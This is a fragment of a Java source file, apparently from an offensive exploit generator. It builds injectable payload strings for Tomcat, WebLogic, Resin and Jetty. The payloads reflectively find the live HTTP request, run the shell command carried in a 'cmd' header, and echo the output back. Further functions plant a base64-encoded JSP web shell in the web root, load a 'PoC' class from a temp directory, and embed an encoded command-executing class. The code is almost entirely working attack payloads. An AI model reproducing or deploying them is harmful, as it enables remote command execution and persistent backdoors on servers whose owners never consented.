java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter(\"\\\\A\").next();\n" + + " org.apache.tomcat.util.buf.ByteChunk bc = new org.apache.tomcat.util.buf.ByteChunk();\n" + + " bc.setBytes(res.getBytes(), 0, res.getBytes().length);\n" + + " req.getResponse().doWrite(bc);\n" + + " }\n" + + " }"; + + return code; + } + + public static String tomcat78Echo() { + String code = "Object obj = Thread.currentThread();\n" + + " java.lang.reflect.Field field = obj.getClass().getSuperclass().getDeclaredField(\"group\");\n" + + " field.setAccessible(true);\n" + + " obj = field.get(obj);\n" + + "\n" + + " field = obj.getClass().getDeclaredField(\"threads\");\n" + + " field.setAccessible(true);\n" + + " obj = field.get(obj);\n" + + "\n" + + " Thread[] threads = (Thread[])obj;\n" + + " label:for(Thread thread : threads){\n" + + " try{\n" + + " if((thread.getName().contains(\"http-apr\") && thread.getName().contains(\"Poller\"))\n" + + " || (thread.getName().contains(\"http-bio\") && thread.getName().contains(\"AsyncTimeout\"))\n" + + " || (thread.getName().contains(\"http-nio\") && thread.getName().contains(\"Poller\"))) {\n" + + " field = thread.getClass().getDeclaredField(\"target\");\n" + + " field.setAccessible(true);\n" + + " obj = field.get(thread);\n" + + "\n" + + " field = obj.getClass().getDeclaredField(\"this$0\");\n" + + " field.setAccessible(true);\n" + + " obj = field.get(obj);\n" + + "\n" + + " try{\n" + + " field = obj.getClass().getDeclaredField(\"handler\");\n" + + " }catch (NoSuchFieldException e){\n" + + " field = obj.getClass().getSuperclass().getSuperclass().getDeclaredField(\"handler\");\n" + + " }\n" + + " field.setAccessible(true);\n" + + " obj = field.get(obj);\n" + + "\n" + + " try{\n" + + " field = obj.getClass().getSuperclass().getDeclaredField(\"global\");\n" + + " }catch(NoSuchFieldException e){\n" + + " field = obj.getClass().getDeclaredField(\"global\");\n" + + " }\n" + + " field.setAccessible(true);\n" + + " obj = field.get(obj);\n" + + "\n" + + " field = obj.getClass().getDeclaredField(\"processors\");\n" + + " field.setAccessible(true);\n" + + " obj = field.get(obj);\n" + + "\n" + + "\n" + + " java.util.List processors = (java.util.List) obj;\n" + + " for (Object o : processors) {\n" + + " field = o.getClass().getDeclaredField(\"req\");\n" + + " field.setAccessible(true);\n" + + " obj = field.get(o);\n" + + " org.apache.coyote.Request req = (org.apache.coyote.Request) obj;\n" + + "\n" + + " String cmd = req.getHeader(\"cmd\");\n" + + " if (cmd != null) {\n" + + " String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter(\"\\\\A\").next();\n" + + "\n" + + " org.apache.tomcat.util.buf.ByteChunk bc = new org.apache.tomcat.util.buf.ByteChunk();\n" + + " bc.setBytes(res.getBytes(), 0, res.getBytes().length);\n" + + " req.getResponse().doWrite(bc);\n" + + " break label;\n" + + " }\n" + + " }\n" + + " }\n" + + " }catch(Exception e){\n" + + " e.printStackTrace();\n" + + " }\n" + + " }"; + + return code; + } + + public static String tomcat9Echo() { + String code = "Object obj = Thread.currentThread();\n" + + " java.lang.reflect.Field field = obj.getClass().getSuperclass().getDeclaredField(\"group\");\n" + + " field.setAccessible(true);\n" + + " obj = field.get(obj);\n" + + "\n" + + " field = obj.getClass().getDeclaredField(\"threads\");\n" + + " field.setAccessible(true);\n" + + " obj = field.get(obj);\n" + + "\n" + + " Thread[] threads = (Thread[])obj;\n" + + " label:for(Thread thread : threads){\n" + + " try{\n" + + " if(thread.getName().contains(\"http-nio\") && thread.getName().contains(\"ClientPoller\")) {\n" + + " field = thread.getClass().getDeclaredField(\"target\");\n" + + " field.setAccessible(true);\n" + + " obj = field.get(thread);\n" + + "\n" + + " field = obj.getClass().getDeclaredField(\"this$0\");\n" + + " field.setAccessible(true);\n" + + " obj = field.get(obj);\n" + + "\n" + + " field = obj.getClass().getSuperclass().getSuperclass().getDeclaredField(\"handler\");\n" + + " field.setAccessible(true);\n" + + " obj = field.get(obj);\n" + + "\n" + + " field = obj.getClass().getDeclaredField(\"global\");\n" + + " field.setAccessible(true);\n" + + " obj = field.get(obj);\n" + + "\n" + + " field = obj.getClass().getDeclaredField(\"processors\");\n" + + " field.setAccessible(true);\n" + + " obj = field.get(obj);\n" + + "\n" + + "\n" + + " java.util.List processors = (java.util.List) obj;\n" + + " for (Object o : processors) {\n" + + " field = o.getClass().getDeclaredField(\"req\");\n" + + " field.setAccessible(true);\n" + + " obj = field.get(o);\n" + + " org.apache.coyote.Request req = (org.apache.coyote.Request) obj;\n" + + "\n" + + " String cmd = req.getHeader(\"cmd\");\n" + + " if (cmd != null) {\n" + + " String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter(\"\\\\A\").next();\n" + + " java.nio.ByteBuffer buffer = java.nio.ByteBuffer.wrap(res.getBytes());\n" + + " req.getResponse().doWrite(buffer);\n" + + " break label;\n" + + " }\n" + + " }\n" + + " }\n" + + " }catch(Exception e){\n" + + " e.printStackTrace();\n" + + " }\n" + + " }"; + + return code; + } + + public static String tomcatEcho(){ + String code = " boolean flag = false;\n" + + " ThreadGroup group = Thread.currentThread().getThreadGroup();\n" + + " java.lang.reflect.Field f = group.getClass().getDeclaredField(\"threads\");\n" + + " f.setAccessible(true);\n" + + " Thread[] threads = (Thread[]) f.get(group);\n" + + "\n" + + " for(int i = 0; i < threads.length; i++) {\n" + + " try{\n" + + " Thread t = threads[i];\n" + + " if (t == null) continue;\n" + + "\n" + + " String str = t.getName();\n" + + " if (str.contains(\"exec\") || !str.contains(\"http\")) continue;\n" + + "\n" + + "\n" + + " f = t.getClass().getDeclaredField(\"target\");\n" + + " f.setAccessible(true);\n" + + " Object obj = f.get(t);\n" + + "\n" + + " if (!(obj instanceof Runnable)) continue;\n" + + "\n" + + " f = obj.getClass().getDeclaredField(\"this$0\");\n" + + " f.setAccessible(true);\n" + + " obj = f.get(obj);\n" + + "\n" + + " try{\n" + + " f = obj.getClass().getDeclaredField(\"handler\");\n" + + " }catch (NoSuchFieldException e){\n" + + " f = obj.getClass().getSuperclass().getSuperclass().getDeclaredField(\"handler\");\n" + + " }\n" + + " f.setAccessible(true);\n" + + " obj = f.get(obj);\n" + + "\n" + + " try{\n" + + " f = obj.getClass().getSuperclass().getDeclaredField(\"global\");\n" + + " }catch(NoSuchFieldException e){\n" + + " f = obj.getClass().getDeclaredField(\"global\");\n" + + " }\n" + + " f.setAccessible(true);\n" + + " obj = f.get(obj);\n" + + "\n" + + " f = obj.getClass().getDeclaredField(\"processors\");\n" + + " f.setAccessible(true);\n" + + " java.util.List processors = (java.util.List)(f.get(obj));\n" + + "\n" + + " for(int j = 0; j < processors.size(); ++j) {\n" + + " Object processor = processors.get(j);\n" + + " f = processor.getClass().getDeclaredField(\"req\");\n" + + " f.setAccessible(true);\n" + + " Object req = f.get(processor);\n" + + " Object resp = req.getClass().getMethod(\"getResponse\", new Class[0]).invoke(req, new Object[0]);\n" + + "\n" + + " str = (String)req.getClass().getMethod(\"getHeader\", new Class[]{String.class}).invoke(req, new Object[]{\"cmd\"});\n" + + "\n" + + " if (str != null && !str.isEmpty()) {\n" + + " resp.getClass().getMethod(\"setStatus\", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(200)});\n" + + " String[] cmds = System.getProperty(\"os.name\").toLowerCase().contains(\"window\") ? new String[]{\"cmd.exe\", \"/c\", str} : new String[]{\"/bin/sh\", \"-c\", str};\n" + + " byte[] result = (new java.util.Scanner((new ProcessBuilder(cmds)).start().getInputStream(), System.getProperty(\"sun.jnu.encoding\"))).useDelimiter(\"\\\\A\").next().getBytes();\n" + + "\n" + + " try {\n" + + " Class cls = Class.forName(\"org.apache.tomcat.util.buf.ByteChunk\");\n" + + " obj = cls.newInstance();\n" + + " cls.getDeclaredMethod(\"setBytes\", new Class[]{byte[].class, int.class, int.class}).invoke(obj, new Object[]{result, new Integer(0), new Integer(result.length)});\n" + + " resp.getClass().getMethod(\"doWrite\", new Class[]{cls}).invoke(resp, new Object[]{obj});\n" + + " } catch (NoSuchMethodException var5) {\n" + + " Class cls = Class.forName(\"java.nio.ByteBuffer\");\n" + + " obj = cls.getDeclaredMethod(\"wrap\", new Class[]{byte[].class}).invoke(cls, new Object[]{result});\n" + + " resp.getClass().getMethod(\"doWrite\", new Class[]{cls}).invoke(resp, new Object[]{obj});\n" + + " }\n" + + "\n" + + " flag = true;\n" + + " }\n" + + "\n" + + " if (flag) break;\n" + + " }\n" + + "\n" + + " if (flag) break;\n" + + " }catch(Exception e){\n" + + " continue;\n" + + " }\n" + + " }"; + + return code; + } + + public static String tomcatEcho2() { + String code = "boolean flag = false;\n" + + "\n" + + " javax.management.MBeanServer mbeanServer = org.apache.tomcat.util.modeler.Registry.getRegistry((Object)null, (Object)null).getMBeanServer();\n" + + " java.lang.reflect.Field field = Class.forName(\"com.sun.jmx.mbeanserver.JmxMBeanServer\").getDeclaredField(\"mbsInterceptor\");\n" + + " field.setAccessible(true);\n" + + " Object obj = field.get(mbeanServer);\n" + + "\n" + + " field = Class.forName(\"com.sun.jmx.interceptor.DefaultMBeanServerInterceptor\").getDeclaredField(\"repository\");\n" + + " field.setAccessible(true);\n" + + " com.sun.jmx.mbeanserver.Repository repository = (com.sun.jmx.mbeanserver.Repository) field.get(obj);\n" + + "\n" + + " java.util.Set objectSet = repository.query(new javax.management.ObjectName(\"Catalina:type=GlobalRequestProcessor,*\"), null);\n" + + " for(com.sun.jmx.mbeanserver.NamedObject namedObject : objectSet){\n" + + " javax.management.DynamicMBean dynamicMBean = namedObject.getObject();\n" + + " field = Class.forName(\"org.apache.tomcat.util.modeler.BaseModelMBean\").getDeclaredField(\"resource\");\n" + + " field.setAccessible(true);\n" + + " obj = field.get(dynamicMBean);\n" + + "\n" + + " field = Class.forName(\"org.apache.coyote.RequestGroupInfo\").getDeclaredField(\"processors\");\n" + + " field.setAccessible(true);\n" + + " java.util.ArrayList procssors = (java.util.ArrayList) field.get(obj);\n" + + "\n" + + " field = Class.forName(\"org.apache.coyote.RequestInfo\").getDeclaredField(\"req\");\n" + + " field.setAccessible(true);\n" + + " for(int i = 0; i < procssors.size(); i++){\n" + + " org.apache.coyote.Request req = (org.apache.coyote.Request) field.get(procssors.get(i));\n" + + " String cmd = req.getHeader(\"cmd\");\n" + + " if(cmd != null && !cmd.isEmpty()){\n" + + " String[] cmds = System.getProperty(\"os.name\").toLowerCase().contains(\"window\") ? new String[]{\"cmd.exe\", \"/c\", cmd} : new String[]{\"/bin/sh\", \"-c\", cmd};\n" + + " byte[] result = (new java.util.Scanner((new ProcessBuilder(cmds)).start().getInputStream(), System.getProperty(\"sun.jnu.encoding\"))).useDelimiter(\"\\\\A\").next().getBytes();\n" + + "\n" + + " Object resp = req.getClass().getMethod(\"getResponse\", new Class[0]).invoke(req, new Object[0]);\n" + + " try {\n" + + " Class cls = Class.forName(\"org.apache.tomcat.util.buf.ByteChunk\");\n" + + " obj = cls.newInstance();\n" + + " cls.getDeclaredMethod(\"setBytes\", new Class[]{byte[].class, int.class, int.class}).invoke(obj, new Object[]{result, new Integer(0), new Integer(result.length)});\n" + + " resp.getClass().getMethod(\"doWrite\", new Class[]{cls}).invoke(resp, new Object[]{obj});\n" + + " } catch (NoSuchMethodException var5) {\n" + + " Class cls = Class.forName(\"java.nio.ByteBuffer\");\n" + + " obj = cls.getDeclaredMethod(\"wrap\", new Class[]{byte[].class}).invoke(cls, new Object[]{result});\n" + + " resp.getClass().getMethod(\"doWrite\", new Class[]{cls}).invoke(resp, new Object[]{obj});\n" + + " }\n" + + "\n" + + " flag = true;\n" + + " }\n" + + "\n" + + " if(flag) break;\n" + + " }\n" + + " }"; + + return code; + } + + public static String weblogicEcho1(){ + String code = " Object obj = Thread.currentThread().getClass().getMethod(\"getCurrentWork\", null).invoke(Thread.currentThread(), null);\n" + + " String cmd = (String) obj.getClass().getMethod(\"getHeader\", new Class[]{String.class}).invoke(obj, new Object[]{\"cmd\"});\n" + + " String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter(\"\\\\A\").next();\n" + + " Object r = obj.getClass().getMethod(\"getResponse\", null).invoke(obj, null);\n" + + " Object os = r.getClass().getMethod(\"getServletOutputStream\", null).invoke(r, null);\n" + + " obj = Class.forName(\"weblogic.xml.util.StringInputStream\").getConstructor(new Class[]{String.class}).newInstance(new Object[]{res});\n" + + "\n" + + " os.getClass().getMethod(\"writeStream\", new Class[]{Class.forName(\"java.io.InputStream\")}).invoke(os, new Object[]{obj});\n" + + " os.getClass().getMethod(\"flush\", null).invoke(os, null);\n" + + " obj = r.getClass().getMethod(\"getWriter\", null).invoke(r, null);\n" + + " obj.getClass().getMethod(\"write\", new Class[]{String.class}).invoke(obj, new Object[]{\"\"});"; + + return code; + } + + public static String weblogicEcho2(String command){ + String cmd = command.split(":", 3)[2]; + cmd = cmd.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\""); + + String code = "Object obj = Thread.currentThread().getClass().getMethod(\"getCurrentWork\", null).invoke(Thread.currentThread(), null);\n" + + " java.lang.reflect.Field field = obj.getClass().getDeclaredField(\"connectionHandler\");\n" + + " field.setAccessible(true);\n" + + " obj = field.get(obj);\n" + + " String cmd = \"" + cmd + "\";\n" + + " String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter(\"\\\\A\").next();\n" + + "\n" + + " Object r = obj.getClass().getMethod(\"getServletRequest\", null).invoke(obj, null);\n" + + " Object o = r.getClass().getMethod(\"getResponse\", null).invoke(r, null);\n" + + " Object s = o.getClass().getMethod(\"getServletOutputStream\", null).invoke(o, null);\n" + + "\n" + + " obj = Class.forName(\"weblogic.xml.util.StringInputStream\").getConstructor(new Class[]{String.class}).newInstance(new Object[]{res});\n" + + "\n" + + " s.getClass().getMethod(\"writeStream\", new Class[]{Class.forName(\"java.io.InputStream\")}).invoke(s, new Object[]{obj});\n" + + " s.getClass().getMethod(\"flush\", null).invoke(s, null);\n" + + " obj = o.getClass().getMethod(\"getWriter\", null).invoke(o, null);\n" + + " obj.getClass().getMethod(\"write\", new Class[]{String.class}).invoke(obj, new Object[]{\"\"});"; + + return code; + } + + public static String resinEcho(){ + String code = " Class clazz = Thread.currentThread().getClass();\n" + + " java.lang.reflect.Field field = clazz.getSuperclass().getDeclaredField(\"threadLocals\");\n" + + " field.setAccessible(true);\n" + + " Object obj = field.get(Thread.currentThread());\n" + + "\n" + + " field = obj.getClass().getDeclaredField(\"table\");\n" + + " field.setAccessible(true);\n" + + " obj = field.get(obj);\n" + + "\n" + + " Object[] obj_arr = (Object[]) obj;\n" + + " for(int i = 0; i < obj_arr.length; i++) {\n" + + " Object o = obj_arr[i];\n" + + " if (o == null) continue;\n" + + "\n" + + " field = o.getClass().getDeclaredField(\"value\");\n" + + " field.setAccessible(true);\n" + + " obj = field.get(o);\n" + + "\n" + + " if(obj != null && obj.getClass().getName().equals(\"com.caucho.server.http.HttpRequest\")){\n" + + " com.caucho.server.http.HttpRequest httpRequest = (com.caucho.server.http.HttpRequest)obj;\n" + + " String cmd = httpRequest.getHeader(\"cmd\");\n" + + " String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter(\"\\\\A\").next();\n" + + " com.caucho.server.http.HttpResponse httpResponse = httpRequest.createResponse();\n" + + " httpResponse.setHeader(\"Content-Length\", res.length() + \"\");\n" + + " java.lang.reflect.Method method = httpResponse.getClass().getDeclaredMethod(\"createResponseStream\", null);\n" + + " method.setAccessible(true);\n" + + " com.caucho.server.http.HttpResponseStream httpResponseStream = (com.caucho.server.http.HttpResponseStream) method.invoke(httpResponse,null);\n" + + " httpResponseStream.write(res.getBytes(), 0, res.length());\n" + + " httpResponseStream.close();\n" + + " }\n" + + " }"; + + return code; + } + + public static String jettyEcho(){ + String code = " Class clazz = Thread.currentThread().getClass();\n" + + " java.lang.reflect.Field field = clazz.getDeclaredField(\"threadLocals\");\n" + + " field.setAccessible(true);\n" + + " Object obj = field.get(Thread.currentThread());\n" + + "\n" + + " field = obj.getClass().getDeclaredField(\"table\");\n" + + " field.setAccessible(true);\n" + + " obj = field.get(obj);\n" + + "\n" + + " Object[] obj_arr = (Object[]) obj;\n" + + " for(int i = 0; i < obj_arr.length; i++){\n" + + " Object o = obj_arr[i];\n" + + " if(o == null) continue;\n" + + "\n" + + " field = o.getClass().getDeclaredField(\"value\");\n" + + " field.setAccessible(true);\n" + + " obj = field.get(o);\n" + + "\n" + + " if(obj != null && obj.getClass().getName().endsWith(\"AsyncHttpConnection\")){\n" + + " Object connection = obj;\n" + + " java.lang.reflect.Method method = connection.getClass().getMethod(\"getRequest\", null);\n" + + " obj = method.invoke(connection, null);\n" + + "\n" + + " method = obj.getClass().getMethod(\"getHeader\", new Class[]{String.class});\n" + + " obj = method.invoke(obj, new Object[]{\"cmd\"});\n" + + "\n" + + " String res = new java.util.Scanner(Runtime.getRuntime().exec(obj.toString()).getInputStream()).useDelimiter(\"\\\\A\").next();\n" + + "\n" + + " method = connection.getClass().getMethod(\"getPrintWriter\", new Class[]{String.class});\n" + + " java.io.PrintWriter printWriter = (java.io.PrintWriter)method.invoke(connection, new Object[]{\"utf-8\"});\n" + + " printWriter.println(res);\n" + + "\n" + + " }else if(obj != null && obj.getClass().getName().endsWith(\"HttpConnection\")){\n" + + " java.lang.reflect.Method method = obj.getClass().getDeclaredMethod(\"getHttpChannel\", null);\n" + + " Object httpChannel = method.invoke(obj, null);\n" + + "\n" + + " method = httpChannel.getClass().getMethod(\"getRequest\", null);\n" + + " obj = method.invoke(httpChannel, null);\n" + + "\n" + + " method = obj.getClass().getMethod(\"getHeader\", new Class[]{String.class});\n" + + " obj = method.invoke(obj, new Object[]{\"cmd\"});\n" + + "\n" + + " String res = new java.util.Scanner(Runtime.getRuntime().exec(obj.toString()).getInputStream()).useDelimiter(\"\\\\A\").next();\n" + + "\n" + + " method = httpChannel.getClass().getMethod(\"getResponse\", null);\n" + + " obj = method.invoke(httpChannel, null);\n" + + "\n" + + " method = obj.getClass().getMethod(\"getWriter\", null);\n" + + " java.io.PrintWriter printWriter = (java.io.PrintWriter)method.invoke(obj, null);\n" + + " printWriter.println(res);\n" + + " }\n" + + " }"; + + return code; + } + + public static String windowsEcho(String command){ + String cmd = command.split(":", 3)[2]; + cmd = cmd.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\""); + + String code = " if(java.io.File.separator.equals(\"\\\\\")){\n" + + " java.lang.reflect.Field field = java.io.FileDescriptor.class.getDeclaredField(\"fd\");\n" + + " field.setAccessible(true);\n" + + "\n" + + " Class clazz1 = Class.forName(\"sun.nio.ch.Net\");\n" + + " java.lang.reflect.Method method1 = clazz1.getDeclaredMethod(\"remoteAddress\",new Class[]{java.io.FileDescriptor.class});\n" + + " method1.setAccessible(true);\n" + + "\n" + + " Class clazz2 = Class.forName(\"java.net.SocketOutputStream\", false, null);\n" + + " java.lang.reflect.Constructor constructor2 = clazz2.getDeclaredConstructors()[0];\n" + + " constructor2.setAccessible(true);\n" + + "\n" + + " Class clazz3 = Class.forName(\"java.net.PlainSocketImpl\");\n" + + " java.lang.reflect.Constructor constructor3 = clazz3.getDeclaredConstructor(new Class[]{java.io.FileDescriptor.class});\n" + + " constructor3.setAccessible(true);\n" + + "\n" + + " java.lang.reflect.Method write = clazz2.getDeclaredMethod(\"write\",new Class[]{byte[].class});\n" + + " write.setAccessible(true);\n" + + "\n" + + " java.net.InetSocketAddress remoteAddress = null;\n" + + " java.util.List list = new java.util.ArrayList();\n" + + " java.io.FileDescriptor fileDescriptor = new java.io.FileDescriptor();\n" + + " for(int i = 0; i < 50000; i++){\n" + + " field.set((Object)fileDescriptor, (Object)(new Integer(i)));\n" + + " try{\n" + + " remoteAddress= (java.net.InetSocketAddress) method1.invoke(null, new Object[]{fileDescriptor});\n" + + " if(remoteAddress.toString().startsWith(\"/127.0.0.1\")) continue;\n" + + " if(remoteAddress.toString().startsWith(\"/0:0:0:0:0:0:0:1\")) continue;\n" + + " list.add(new Integer(i));\n" + + "\n" + + " }catch(Exception e){}\n" + + " }\n" + + "\n" + + " for(int i = list.size() - 1; i >= 0; i--){\n" + + " try{\n" + + " field.set((Object)fileDescriptor, list.get(i));\n" + + " Object socketOutputStream = constructor2.newInstance(new Object[]{constructor3.newInstance(new Object[]{fileDescriptor})});\n" + + " String[] cmd = new String[]{\"cmd\",\"/C\", \"" + cmd + "\"};\n" + + " String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter(\"\\\\A\").next().trim();\n" + + " String result = \"HTTP/1.1 200 OK\\nConnection: close\\nContent-Length: \" + (res.length()) + \"\\n\\n\" + res + \"\\n\\n\";\n" + + " write.invoke(socketOutputStream, new Object[]{result.getBytes()});\n" + + " break;\n" + + " }catch (Exception e){\n" + + " //pass\n" + + " }\n" + + " }\n" + + " }"; + return code; + } + + + public static String shell(String command){ + String content = ""; + try{ + String fileName = System.getProperty("user.dir") + File.separator + "config" + File.separator + "shell.jsp"; + FileReader fileReader = new FileReader(fileName); + BufferedReader bufferedReader = new BufferedReader(fileReader); + + String result = ""; + String line = ""; + while ( (line = bufferedReader.readLine()) != null){ + result += line + "\n"; + } + + bufferedReader.close(); + fileReader.close(); + + BASE64Encoder encoder = new BASE64Encoder(); + content = encoder.encode(result.getBytes()).replaceAll("\r|\n|\r\n", ""); + } catch (FileNotFoundException e) { + e.printStackTrace(); + } catch (IOException e) { + e.printStackTrace(); + } + + String path = command.split(":",3)[2]; + String code = "String p = Thread.currentThread().getContextClassLoader().getResource(\"\").getPath();\n" + + " p = p.substring(0, p.indexOf(\"WEB-INF\"));\n" + + " p = java.net.URLDecoder.decode(p,\"utf-8\");\n" + + " java.io.PrintWriter w = new java.io.PrintWriter((p + \"" + path + "\"));\n" + + " sun.misc.BASE64Decoder d = new sun.misc.BASE64Decoder();\n" + + " String s = new String(d.decodeBuffer(\"" + content + "\"));\n" + + " w.println(s);\n" + + " w.close();"; + + return code; + } + + public static String autoFindRequestEcho(){ + String code = " java.net.URL url;\n" + + " if (java.io.File.separator.equals(\"/\")) {\n" + + " url = new java.net.URL(\"file:///tmp/\");\n" + + " }else{\n" + + " url = new java.net.URL(\"file:///c:/windows/temp/\");\n" + + " }\n" + + " java.net.URLClassLoader urlClassLoader = new java.net.URLClassLoader(new java.net.URL[]{url}, Thread.currentThread().getContextClassLoader());\n" + + " urlClassLoader.loadClass(\"PoC\").newInstance();"; + + return code; + } + + public static String writeClass(int i){ + String content = "yv66vgAAADQAqgcAAgEAA1BvQwcABAEAEGphdmEvbGFuZy9PYmplY3QBAAFoAQATTGphdmEvdXRpbC9IYXNoU2V0OwEACVNpZ25hdHVyZQEAJ0xqYXZhL3V0aWwvSGFzaFNldDxMamF2YS9sYW5nL09iamVjdDs+OwEAAXIBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAFwAQAoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwEABjxpbml0PgEAAygpVgEABENvZGUKAAMAEQwADQAOCQABABMMAAkACgkAAQAVDAALAAwHABcBABFqYXZhL3V0aWwvSGFzaFNldAoAFgARCQABABoMAAUABgoAHAAeBwAdAQAQamF2YS9sYW5nL1RocmVhZAwAHwAgAQANY3VycmVudFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7CgABACIMACMAJAEAAUYBABYoTGphdmEvbGFuZy9PYmplY3Q7SSlWAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEABUxQb0M7AQABaQEAFShMamF2YS9sYW5nL09iamVjdDspWgoAFgAsDAAtACoBAAhjb250YWlucwoAFgAvDAAwACoBAANhZGQBAANvYmoBABJMamF2YS9sYW5nL09iamVjdDsBAA1TdGFja01hcFRhYmxlCgABADUMACkAKgcANwEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QKAAMAOQwAOgA7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7CgA9AD8HAD4BAA9qYXZhL2xhbmcvQ2xhc3MMAEAAQQEAEGlzQXNzaWduYWJsZUZyb20BABQoTGphdmEvbGFuZy9DbGFzczspWggAQwEAA2NtZAsANgBFDABGAEcBAAlnZXRIZWFkZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwgASQEAC2dldFJlc3BvbnNlCgA9AEsMAEwATQEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsKAE8AUQcAUAEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAwAUgBTAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7BwBVAQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2ULAFQAVwwAWABZAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsHAFsBABFqYXZhL3V0aWwvU2Nhbm5lcgoAXQBfBwBeAQARamF2YS9sYW5nL1J1bnRpbWUMAGAAYQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsKAF0AYwwAZABlAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwoAZwBpBwBoAQARamF2YS9sYW5nL1Byb2Nlc3MMAGoAawEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsKAFoAbQwADQBuAQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWCABwAQACXEEKAFoAcgwAcwB0AQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7CgBaAHYMAHcAeAEABG5leHQBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwoAegB8BwB7AQATamF2YS9pby9QcmludFdyaXRlcgwAfQB+AQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgoAegCADACBAA4BAAVmbHVzaAcAgwEAE2phdmEvbGFuZy9FeGNlcHRpb24BAAFvAQAFZGVwdGgBAAFJCgA9AIgMAIkAigEAEWdldERlY2xhcmVkRmllbGRzAQAcKClbTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwoAjACOBwCNAQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQMAI8AkAEADXNldEFjY2Vzc2libGUBAAQoWilWCgCMAJIMAJMAlAEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7CgA9AJYMAJcAmAEAB2lzQXJyYXkBAAMoKVoKAAEAmgwACwAkBwCcAQATW0xqYXZhL2xhbmcvT2JqZWN0OwoAPQCeDACfADsBAA1nZXRTdXBlcmNsYXNzAQAFc3RhcnQBAAFuAQARTGphdmEvbGFuZy9DbGFzczsBAA1kZWNsYXJlZEZpZWxkAQAZTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEAAXEHAKcBABpbTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEAClNvdXJjZUZpbGUBAAhQb0MuamF2YQAhAAEAAwAAAAMACAAFAAYAAQAHAAAAAgAIAAgACQAKAAAACAALAAwAAAAEAAEADQAOAAEADwAAAFwAAgABAAAAHiq3ABABswASAbMAFLsAFlm3ABizABm4ABsDuAAhsQAAAAIAJQAAABoABgAAAAwABAANAAgADgAMAA8AFgAQAB0AEQAmAAAADAABAAAAHgAnACgAAAAKACkAKgABAA8AAABWAAIAAQAAABoqxgANsgAZKrYAK5kABQSssgAZKrYALlcDrAAAAAMAJQAAAA4AAwAAABQAEAAWABgAFwAmAAAADAABAAAAGgAxADIAAAAzAAAABAACDgEACgALACQAAQAPAAABYAAGAAIAAAC/GxA0owAPsgASxgAKsgAUxgAEsSq4ADSaAKeyABLHAFESNiq2ADi2ADyZAEUqwAA2swASsgASEkK5AEQCAMcACgGzABKnACqyABK2ADgSSAO9AD22AEqyABIDvQADtgBOwABUswAUpwAIVwGzABKyABLGAEayABTGAECyABS5AFYBALsAWlm4AFyyABISQrkARAIAtgBitgBmtwBsEm+2AHG2AHW2AHmyABS5AFYBALYAf6cABFexKhsEYLgAIbEAAgBHAGYAaQCCAHoAsgC1AIIAAwAlAAAASgASAAAAGwASABwAEwAeABoAHwAsACAAMwAhAEAAIgBEACMARwAlAGYAJgBqACcAbgAsAHoALgCnAC8AsgAwALYAMgC3ADUAvgA3ACYAAAAWAAIAAAC/AIQAMgAAAAAAvwCFAIYAAQAzAAAAEwAJEgAzYQcAggT3AEYHAIIAAAYACgAjACQAAQAPAAABpgACAAwAAAB+KrYAOE0stgCHWToGvjYFAzYEpwBbGQYVBDJOLQS2AIsBOgctKrYAkToHGQe2ADi2AJWaAAwZBxu4AJmnAC8ZB8AAm1k6C742CgM2CacAExkLFQkyOggZCBu4AJmECQEVCRUKof/spwAEV4QEARUEFQWh/6QstgCdWU3H/4uxAAEAIwBmAGkAggADACUAAAA+AA8AAAA5AAUAOwAbADwAIAA9ACMAPwAqAEEANQBCADsAQwA+AEQAVgBFAFwARABmAEkAagA7AHQATAB9AE0AJgAAAD4ABgAAAH4AoAAyAAAAAAB+AIUAhgABAAUAeQChAKIAAgAbAE8AowCkAAMAIwBHAIQAMgAHAFYABgClADIACAAzAAAAhgAI/AAFBwA9/wAPAAcH